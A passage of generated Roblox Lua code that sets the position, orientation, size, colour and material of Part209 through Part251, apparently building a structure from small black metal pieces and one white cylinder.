- Part209.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part209.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part209.Anchored = true
- Part209.BottomSurface = Enum.SurfaceType.Smooth
- Part209.BrickColor = BrickColor.new("Black")
- Part209.Material = Enum.Material.Metal
- Part209.TopSurface = Enum.SurfaceType.Smooth
- Part209.brickColor = BrickColor.new("Black")
- Part210.Parent = mas
- Part210.CFrame = CFrame.new(29.7422714, 59.0449181, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part210.Orientation = Vector3.new(0, -90, 0)
- Part210.Position = Vector3.new(29.7422714, 59.0449181, 28.8362427)
- Part210.Rotation = Vector3.new(0, -90, 0)
- Part210.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part210.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part210.Anchored = true
- Part210.BottomSurface = Enum.SurfaceType.Smooth
- Part210.BrickColor = BrickColor.new("Black")
- Part210.Material = Enum.Material.Metal
- Part210.TopSurface = Enum.SurfaceType.Smooth
- Part210.brickColor = BrickColor.new("Black")
- Part211.Parent = mas
- Part211.CFrame = CFrame.new(7.6695013, 35.1871414, 26.9052277, 0, -1, 0, 1, 0, 0, 0, 0, 1)
- Part211.Orientation = Vector3.new(0, 0, 90)
- Part211.Position = Vector3.new(7.6695013, 35.1871414, 26.9052277)
- Part211.Rotation = Vector3.new(0, 0, 90)
- Part211.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part211.Size = Vector3.new(0.5, 10, 10)
- Part211.Anchored = true
- Part211.BottomSurface = Enum.SurfaceType.Smooth
- Part211.BrickColor = BrickColor.new("Institutional white")
- Part211.Material = Enum.Material.DiamondPlate
- Part211.TopSurface = Enum.SurfaceType.Smooth
- Part211.brickColor = BrickColor.new("Institutional white")
- Part211.Shape = Enum.PartType.Cylinder
- Part212.Parent = mas
- Part212.CFrame = CFrame.new(31.4071579, 50.6449852, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part212.Orientation = Vector3.new(0, 135, 0)
- Part212.Position = Vector3.new(31.4071579, 50.6449852, 28.3781281)
- Part212.Rotation = Vector3.new(-180, 45, -180)
- Part212.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part212.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part212.Anchored = true
- Part212.BottomSurface = Enum.SurfaceType.Smooth
- Part212.BrickColor = BrickColor.new("Black")
- Part212.Material = Enum.Material.Metal
- Part212.TopSurface = Enum.SurfaceType.Smooth
- Part212.brickColor = BrickColor.new("Black")
- Part213.Parent = mas
- Part213.CFrame = CFrame.new(31.4071274, 59.0449181, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part213.Orientation = Vector3.new(0, -135, 0)
- Part213.Position = Vector3.new(31.4071274, 59.0449181, 25.4780731)
- Part213.Rotation = Vector3.new(-180, -45, -180)
- Part213.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part213.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part213.Anchored = true
- Part213.BottomSurface = Enum.SurfaceType.Smooth
- Part213.BrickColor = BrickColor.new("Black")
- Part213.Material = Enum.Material.Metal
- Part213.TopSurface = Enum.SurfaceType.Smooth
- Part213.brickColor = BrickColor.new("Black")
- Part214.Parent = mas
- Part214.CFrame = CFrame.new(31.4071274, 10.7450371, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part214.Orientation = Vector3.new(0, -135, 0)
- Part214.Position = Vector3.new(31.4071274, 10.7450371, 25.4780731)
- Part214.Rotation = Vector3.new(-180, -45, -180)
- Part214.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part214.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part214.Anchored = true
- Part214.BottomSurface = Enum.SurfaceType.Smooth
- Part214.BrickColor = BrickColor.new("Black")
- Part214.Material = Enum.Material.Metal
- Part214.TopSurface = Enum.SurfaceType.Smooth
- Part214.brickColor = BrickColor.new("Black")
- Part215.Parent = mas
- Part215.CFrame = CFrame.new(31.4071579, 12.8450356, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part215.Orientation = Vector3.new(0, 135, 0)
- Part215.Position = Vector3.new(31.4071579, 12.8450356, 28.3781281)
- Part215.Rotation = Vector3.new(-180, 45, -180)
- Part215.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part215.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part215.Anchored = true
- Part215.BottomSurface = Enum.SurfaceType.Smooth
- Part215.BrickColor = BrickColor.new("Black")
- Part215.Material = Enum.Material.Metal
- Part215.TopSurface = Enum.SurfaceType.Smooth
- Part215.brickColor = BrickColor.new("Black")
- Part216.Parent = mas
- Part216.CFrame = CFrame.new(29.7422714, 10.7450371, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part216.Orientation = Vector3.new(0, -90, 0)
- Part216.Position = Vector3.new(29.7422714, 10.7450371, 28.8362427)
- Part216.Rotation = Vector3.new(0, -90, 0)
- Part216.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part216.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part216.Anchored = true
- Part216.BottomSurface = Enum.SurfaceType.Smooth
- Part216.BrickColor = BrickColor.new("Black")
- Part216.Material = Enum.Material.Metal
- Part216.TopSurface = Enum.SurfaceType.Smooth
- Part216.brickColor = BrickColor.new("Black")
- Part217.Parent = mas
- Part217.CFrame = CFrame.new(31.4071274, 14.9450359, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part217.Orientation = Vector3.new(0, -135, 0)
- Part217.Position = Vector3.new(31.4071274, 14.9450359, 25.4780731)
- Part217.Rotation = Vector3.new(-180, -45, -180)
- Part217.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part217.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part217.Anchored = true
- Part217.BottomSurface = Enum.SurfaceType.Smooth
- Part217.BrickColor = BrickColor.new("Black")
- Part217.Material = Enum.Material.Metal
- Part217.TopSurface = Enum.SurfaceType.Smooth
- Part217.brickColor = BrickColor.new("Black")
- Part218.Parent = mas
- Part218.CFrame = CFrame.new(31.8423386, 59.0449181, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part218.Position = Vector3.new(31.8423386, 59.0449181, 26.9111938)
- Part218.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part218.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part218.Anchored = true
- Part218.BottomSurface = Enum.SurfaceType.Smooth
- Part218.BrickColor = BrickColor.new("Black")
- Part218.Material = Enum.Material.Metal
- Part218.TopSurface = Enum.SurfaceType.Smooth
- Part218.brickColor = BrickColor.new("Black")
- Part219.Parent = mas
- Part219.CFrame = CFrame.new(31.4071579, 35.9450531, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part219.Orientation = Vector3.new(0, 135, 0)
- Part219.Position = Vector3.new(31.4071579, 35.9450531, 28.3781281)
- Part219.Rotation = Vector3.new(-180, 45, -180)
- Part219.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part219.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part219.Anchored = true
- Part219.BottomSurface = Enum.SurfaceType.Smooth
- Part219.BrickColor = BrickColor.new("Black")
- Part219.Material = Enum.Material.Metal
- Part219.TopSurface = Enum.SurfaceType.Smooth
- Part219.brickColor = BrickColor.new("Black")
- Part220.Parent = mas
- Part220.CFrame = CFrame.new(31.4071579, 14.9450359, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part220.Orientation = Vector3.new(0, 135, 0)
- Part220.Position = Vector3.new(31.4071579, 14.9450359, 28.3781281)
- Part220.Rotation = Vector3.new(-180, 45, -180)
- Part220.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part220.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part220.Anchored = true
- Part220.BottomSurface = Enum.SurfaceType.Smooth
- Part220.BrickColor = BrickColor.new("Black")
- Part220.Material = Enum.Material.Metal
- Part220.TopSurface = Enum.SurfaceType.Smooth
- Part220.brickColor = BrickColor.new("Black")
- Part221.Parent = mas
- Part221.CFrame = CFrame.new(29.7422714, 12.8450356, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part221.Orientation = Vector3.new(0, -90, 0)
- Part221.Position = Vector3.new(29.7422714, 12.8450356, 28.8362427)
- Part221.Rotation = Vector3.new(0, -90, 0)
- Part221.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part221.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part221.Anchored = true
- Part221.BottomSurface = Enum.SurfaceType.Smooth
- Part221.BrickColor = BrickColor.new("Black")
- Part221.Material = Enum.Material.Metal
- Part221.TopSurface = Enum.SurfaceType.Smooth
- Part221.brickColor = BrickColor.new("Black")
- Part222.Parent = mas
- Part222.CFrame = CFrame.new(31.8423386, 35.9450531, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part222.Position = Vector3.new(31.8423386, 35.9450531, 26.9111938)
- Part222.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part222.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part222.Anchored = true
- Part222.BottomSurface = Enum.SurfaceType.Smooth
- Part222.BrickColor = BrickColor.new("Black")
- Part222.Material = Enum.Material.Metal
- Part222.TopSurface = Enum.SurfaceType.Smooth
- Part222.brickColor = BrickColor.new("Black")
- Part223.Parent = mas
- Part223.CFrame = CFrame.new(31.4071274, 19.1450462, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part223.Orientation = Vector3.new(0, -135, 0)
- Part223.Position = Vector3.new(31.4071274, 19.1450462, 25.4780731)
- Part223.Rotation = Vector3.new(-180, -45, -180)
- Part223.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part223.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part223.Anchored = true
- Part223.BottomSurface = Enum.SurfaceType.Smooth
- Part223.BrickColor = BrickColor.new("Black")
- Part223.Material = Enum.Material.Metal
- Part223.TopSurface = Enum.SurfaceType.Smooth
- Part223.brickColor = BrickColor.new("Black")
- Part224.Parent = mas
- Part224.CFrame = CFrame.new(29.6922531, 17.0450573, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part224.Orientation = Vector3.new(0, -90, 0)
- Part224.Position = Vector3.new(29.6922531, 17.0450573, 25.0361633)
- Part224.Rotation = Vector3.new(0, -90, 0)
- Part224.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part224.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part224.Anchored = true
- Part224.BottomSurface = Enum.SurfaceType.Smooth
- Part224.BrickColor = BrickColor.new("Black")
- Part224.Material = Enum.Material.Metal
- Part224.TopSurface = Enum.SurfaceType.Smooth
- Part224.brickColor = BrickColor.new("Black")
- Part225.Parent = mas
- Part225.CFrame = CFrame.new(31.4071274, 17.0450573, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part225.Orientation = Vector3.new(0, -135, 0)
- Part225.Position = Vector3.new(31.4071274, 17.0450573, 25.4780731)
- Part225.Rotation = Vector3.new(-180, -45, -180)
- Part225.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part225.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part225.Anchored = true
- Part225.BottomSurface = Enum.SurfaceType.Smooth
- Part225.BrickColor = BrickColor.new("Black")
- Part225.Material = Enum.Material.Metal
- Part225.TopSurface = Enum.SurfaceType.Smooth
- Part225.brickColor = BrickColor.new("Black")
- Part226.Parent = mas
- Part226.CFrame = CFrame.new(29.7422714, 17.0450573, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part226.Orientation = Vector3.new(0, -90, 0)
- Part226.Position = Vector3.new(29.7422714, 17.0450573, 28.8362427)
- Part226.Rotation = Vector3.new(0, -90, 0)
- Part226.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part226.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part226.Anchored = true
- Part226.BottomSurface = Enum.SurfaceType.Smooth
- Part226.BrickColor = BrickColor.new("Black")
- Part226.Material = Enum.Material.Metal
- Part226.TopSurface = Enum.SurfaceType.Smooth
- Part226.brickColor = BrickColor.new("Black")
- Part227.Parent = mas
- Part227.CFrame = CFrame.new(29.6922531, 42.2450714, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part227.Orientation = Vector3.new(0, -90, 0)
- Part227.Position = Vector3.new(29.6922531, 42.2450714, 25.0361633)
- Part227.Rotation = Vector3.new(0, -90, 0)
- Part227.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part227.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part227.Anchored = true
- Part227.BottomSurface = Enum.SurfaceType.Smooth
- Part227.BrickColor = BrickColor.new("Black")
- Part227.Material = Enum.Material.Metal
- Part227.TopSurface = Enum.SurfaceType.Smooth
- Part227.brickColor = BrickColor.new("Black")
- Part228.Parent = mas
- Part228.CFrame = CFrame.new(29.6922531, 40.1450691, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part228.Orientation = Vector3.new(0, -90, 0)
- Part228.Position = Vector3.new(29.6922531, 40.1450691, 25.0361633)
- Part228.Rotation = Vector3.new(0, -90, 0)
- Part228.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part228.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part228.Anchored = true
- Part228.BottomSurface = Enum.SurfaceType.Smooth
- Part228.BrickColor = BrickColor.new("Black")
- Part228.Material = Enum.Material.Metal
- Part228.TopSurface = Enum.SurfaceType.Smooth
- Part228.brickColor = BrickColor.new("Black")
- Part229.Parent = mas
- Part229.CFrame = CFrame.new(29.7422714, 19.1450462, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part229.Orientation = Vector3.new(0, -90, 0)
- Part229.Position = Vector3.new(29.7422714, 19.1450462, 28.8362427)
- Part229.Rotation = Vector3.new(0, -90, 0)
- Part229.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part229.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part229.Anchored = true
- Part229.BottomSurface = Enum.SurfaceType.Smooth
- Part229.BrickColor = BrickColor.new("Black")
- Part229.Material = Enum.Material.Metal
- Part229.TopSurface = Enum.SurfaceType.Smooth
- Part229.brickColor = BrickColor.new("Black")
- Part230.Parent = mas
- Part230.CFrame = CFrame.new(29.7422714, 14.9450359, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part230.Orientation = Vector3.new(0, -90, 0)
- Part230.Position = Vector3.new(29.7422714, 14.9450359, 28.8362427)
- Part230.Rotation = Vector3.new(0, -90, 0)
- Part230.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part230.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part230.Anchored = true
- Part230.BottomSurface = Enum.SurfaceType.Smooth
- Part230.BrickColor = BrickColor.new("Black")
- Part230.Material = Enum.Material.Metal
- Part230.TopSurface = Enum.SurfaceType.Smooth
- Part230.brickColor = BrickColor.new("Black")
- Part231.Parent = mas
- Part231.CFrame = CFrame.new(31.8423386, 10.7450371, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part231.Position = Vector3.new(31.8423386, 10.7450371, 26.9111938)
- Part231.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part231.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part231.Anchored = true
- Part231.BottomSurface = Enum.SurfaceType.Smooth
- Part231.BrickColor = BrickColor.new("Black")
- Part231.Material = Enum.Material.Metal
- Part231.TopSurface = Enum.SurfaceType.Smooth
- Part231.brickColor = BrickColor.new("Black")
- Part232.Parent = mas
- Part232.CFrame = CFrame.new(31.8423386, 19.1450462, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part232.Position = Vector3.new(31.8423386, 19.1450462, 26.9111938)
- Part232.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part232.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part232.Anchored = true
- Part232.BottomSurface = Enum.SurfaceType.Smooth
- Part232.BrickColor = BrickColor.new("Black")
- Part232.Material = Enum.Material.Metal
- Part232.TopSurface = Enum.SurfaceType.Smooth
- Part232.brickColor = BrickColor.new("Black")
- Part233.Parent = mas
- Part233.CFrame = CFrame.new(31.8423386, 17.0450573, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part233.Position = Vector3.new(31.8423386, 17.0450573, 26.9111938)
- Part233.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part233.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part233.Anchored = true
- Part233.BottomSurface = Enum.SurfaceType.Smooth
- Part233.BrickColor = BrickColor.new("Black")
- Part233.Material = Enum.Material.Metal
- Part233.TopSurface = Enum.SurfaceType.Smooth
- Part233.brickColor = BrickColor.new("Black")
- Part234.Parent = mas
- Part234.CFrame = CFrame.new(31.8423386, 12.8450356, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part234.Position = Vector3.new(31.8423386, 12.8450356, 26.9111938)
- Part234.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part234.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part234.Anchored = true
- Part234.BottomSurface = Enum.SurfaceType.Smooth
- Part234.BrickColor = BrickColor.new("Black")
- Part234.Material = Enum.Material.Metal
- Part234.TopSurface = Enum.SurfaceType.Smooth
- Part234.brickColor = BrickColor.new("Black")
- Part235.Parent = mas
- Part235.CFrame = CFrame.new(31.4071579, 17.0450573, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part235.Orientation = Vector3.new(0, 135, 0)
- Part235.Position = Vector3.new(31.4071579, 17.0450573, 28.3781281)
- Part235.Rotation = Vector3.new(-180, 45, -180)
- Part235.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part235.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part235.Anchored = true
- Part235.BottomSurface = Enum.SurfaceType.Smooth
- Part235.BrickColor = BrickColor.new("Black")
- Part235.Material = Enum.Material.Metal
- Part235.TopSurface = Enum.SurfaceType.Smooth
- Part235.brickColor = BrickColor.new("Black")
- Part236.Parent = mas
- Part236.CFrame = CFrame.new(31.4071579, 10.7450371, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part236.Orientation = Vector3.new(0, 135, 0)
- Part236.Position = Vector3.new(31.4071579, 10.7450371, 28.3781281)
- Part236.Rotation = Vector3.new(-180, 45, -180)
- Part236.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part236.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part236.Anchored = true
- Part236.BottomSurface = Enum.SurfaceType.Smooth
- Part236.BrickColor = BrickColor.new("Black")
- Part236.Material = Enum.Material.Metal
- Part236.TopSurface = Enum.SurfaceType.Smooth
- Part236.brickColor = BrickColor.new("Black")
- Part237.Parent = mas
- Part237.CFrame = CFrame.new(29.6922531, 14.9450359, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part237.Orientation = Vector3.new(0, -90, 0)
- Part237.Position = Vector3.new(29.6922531, 14.9450359, 25.0361633)
- Part237.Rotation = Vector3.new(0, -90, 0)
- Part237.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part237.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part237.Anchored = true
- Part237.BottomSurface = Enum.SurfaceType.Smooth
- Part237.BrickColor = BrickColor.new("Black")
- Part237.Material = Enum.Material.Metal
- Part237.TopSurface = Enum.SurfaceType.Smooth
- Part237.brickColor = BrickColor.new("Black")
- Part238.Parent = mas
- Part238.CFrame = CFrame.new(31.4071579, 19.1450462, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part238.Orientation = Vector3.new(0, 135, 0)
- Part238.Position = Vector3.new(31.4071579, 19.1450462, 28.3781281)
- Part238.Rotation = Vector3.new(-180, 45, -180)
- Part238.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part238.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part238.Anchored = true
- Part238.BottomSurface = Enum.SurfaceType.Smooth
- Part238.BrickColor = BrickColor.new("Black")
- Part238.Material = Enum.Material.Metal
- Part238.TopSurface = Enum.SurfaceType.Smooth
- Part238.brickColor = BrickColor.new("Black")
- Part239.Parent = mas
- Part239.CFrame = CFrame.new(29.6922531, 10.7450371, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part239.Orientation = Vector3.new(0, -90, 0)
- Part239.Position = Vector3.new(29.6922531, 10.7450371, 25.0361633)
- Part239.Rotation = Vector3.new(0, -90, 0)
- Part239.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part239.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part239.Anchored = true
- Part239.BottomSurface = Enum.SurfaceType.Smooth
- Part239.BrickColor = BrickColor.new("Black")
- Part239.Material = Enum.Material.Metal
- Part239.TopSurface = Enum.SurfaceType.Smooth
- Part239.brickColor = BrickColor.new("Black")
- Part240.Parent = mas
- Part240.CFrame = CFrame.new(29.6922531, 21.2450485, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part240.Orientation = Vector3.new(0, -90, 0)
- Part240.Position = Vector3.new(29.6922531, 21.2450485, 25.0361633)
- Part240.Rotation = Vector3.new(0, -90, 0)
- Part240.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part240.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part240.Anchored = true
- Part240.BottomSurface = Enum.SurfaceType.Smooth
- Part240.BrickColor = BrickColor.new("Black")
- Part240.Material = Enum.Material.Metal
- Part240.TopSurface = Enum.SurfaceType.Smooth
- Part240.brickColor = BrickColor.new("Black")
- Part241.Parent = mas
- Part241.CFrame = CFrame.new(31.8423386, 21.2450485, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part241.Position = Vector3.new(31.8423386, 21.2450485, 26.9111938)
- Part241.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part241.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part241.Anchored = true
- Part241.BottomSurface = Enum.SurfaceType.Smooth
- Part241.BrickColor = BrickColor.new("Black")
- Part241.Material = Enum.Material.Metal
- Part241.TopSurface = Enum.SurfaceType.Smooth
- Part241.brickColor = BrickColor.new("Black")
- Part242.Parent = mas
- Part242.CFrame = CFrame.new(29.7422714, 21.2450485, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part242.Orientation = Vector3.new(0, -90, 0)
- Part242.Position = Vector3.new(29.7422714, 21.2450485, 28.8362427)
- Part242.Rotation = Vector3.new(0, -90, 0)
- Part242.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part242.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part242.Anchored = true
- Part242.BottomSurface = Enum.SurfaceType.Smooth
- Part242.BrickColor = BrickColor.new("Black")
- Part242.Material = Enum.Material.Metal
- Part242.TopSurface = Enum.SurfaceType.Smooth
- Part242.brickColor = BrickColor.new("Black")
- Part243.Parent = mas
- Part243.CFrame = CFrame.new(29.6922531, 35.9450531, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part243.Orientation = Vector3.new(0, -90, 0)
- Part243.Position = Vector3.new(29.6922531, 35.9450531, 25.0361633)
- Part243.Rotation = Vector3.new(0, -90, 0)
- Part243.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part243.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part243.Anchored = true
- Part243.BottomSurface = Enum.SurfaceType.Smooth
- Part243.BrickColor = BrickColor.new("Black")
- Part243.Material = Enum.Material.Metal
- Part243.TopSurface = Enum.SurfaceType.Smooth
- Part243.brickColor = BrickColor.new("Black")
- Part244.Parent = mas
- Part244.CFrame = CFrame.new(29.7422714, 38.0450668, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part244.Orientation = Vector3.new(0, -90, 0)
- Part244.Position = Vector3.new(29.7422714, 38.0450668, 28.8362427)
- Part244.Rotation = Vector3.new(0, -90, 0)
- Part244.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part244.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part244.Anchored = true
- Part244.BottomSurface = Enum.SurfaceType.Smooth
- Part244.BrickColor = BrickColor.new("Black")
- Part244.Material = Enum.Material.Metal
- Part244.TopSurface = Enum.SurfaceType.Smooth
- Part244.brickColor = BrickColor.new("Black")
- Part245.Parent = mas
- Part245.CFrame = CFrame.new(31.4071274, 40.1450691, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part245.Orientation = Vector3.new(0, -135, 0)
- Part245.Position = Vector3.new(31.4071274, 40.1450691, 25.4780731)
- Part245.Rotation = Vector3.new(-180, -45, -180)
- Part245.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part245.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part245.Anchored = true
- Part245.BottomSurface = Enum.SurfaceType.Smooth
- Part245.BrickColor = BrickColor.new("Black")
- Part245.Material = Enum.Material.Metal
- Part245.TopSurface = Enum.SurfaceType.Smooth
- Part245.brickColor = BrickColor.new("Black")
- Part246.Parent = mas
- Part246.CFrame = CFrame.new(31.4071274, 42.2450714, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part246.Orientation = Vector3.new(0, -135, 0)
- Part246.Position = Vector3.new(31.4071274, 42.2450714, 25.4780731)
- Part246.Rotation = Vector3.new(-180, -45, -180)
- Part246.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part246.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part246.Anchored = true
- Part246.BottomSurface = Enum.SurfaceType.Smooth
- Part246.BrickColor = BrickColor.new("Black")
- Part246.Material = Enum.Material.Metal
- Part246.TopSurface = Enum.SurfaceType.Smooth
- Part246.brickColor = BrickColor.new("Black")
- Part247.Parent = mas
- Part247.CFrame = CFrame.new(31.4071579, 21.2450485, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part247.Orientation = Vector3.new(0, 135, 0)
- Part247.Position = Vector3.new(31.4071579, 21.2450485, 28.3781281)
- Part247.Rotation = Vector3.new(-180, 45, -180)
- Part247.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part247.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part247.Anchored = true
- Part247.BottomSurface = Enum.SurfaceType.Smooth
- Part247.BrickColor = BrickColor.new("Black")
- Part247.Material = Enum.Material.Metal
- Part247.TopSurface = Enum.SurfaceType.Smooth
- Part247.brickColor = BrickColor.new("Black")
- Part248.Parent = mas
- Part248.CFrame = CFrame.new(31.8423386, 14.9450359, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part248.Position = Vector3.new(31.8423386, 14.9450359, 26.9111938)
- Part248.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part248.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part248.Anchored = true
- Part248.BottomSurface = Enum.SurfaceType.Smooth
- Part248.BrickColor = BrickColor.new("Black")
- Part248.Material = Enum.Material.Metal
- Part248.TopSurface = Enum.SurfaceType.Smooth
- Part248.brickColor = BrickColor.new("Black")
- Part249.Parent = mas
- Part249.CFrame = CFrame.new(31.8423386, 38.0450668, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part249.Position = Vector3.new(31.8423386, 38.0450668, 26.9111938)
- Part249.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part249.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part249.Anchored = true
- Part249.BottomSurface = Enum.SurfaceType.Smooth
- Part249.BrickColor = BrickColor.new("Black")
- Part249.Material = Enum.Material.Metal
- Part249.TopSurface = Enum.SurfaceType.Smooth
- Part249.brickColor = BrickColor.new("Black")
- Part250.Parent = mas
- Part250.CFrame = CFrame.new(29.7422714, 35.9450531, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part250.Orientation = Vector3.new(0, -90, 0)
- Part250.Position = Vector3.new(29.7422714, 35.9450531, 28.8362427)
- Part250.Rotation = Vector3.new(0, -90, 0)
- Part250.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part250.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part250.Anchored = true
- Part250.BottomSurface = Enum.SurfaceType.Smooth
- Part250.BrickColor = BrickColor.new("Black")
- Part250.Material = Enum.Material.Metal
- Part250.TopSurface = Enum.SurfaceType.Smooth
- Part250.brickColor = BrickColor.new("Black")
- Part251.Parent = mas
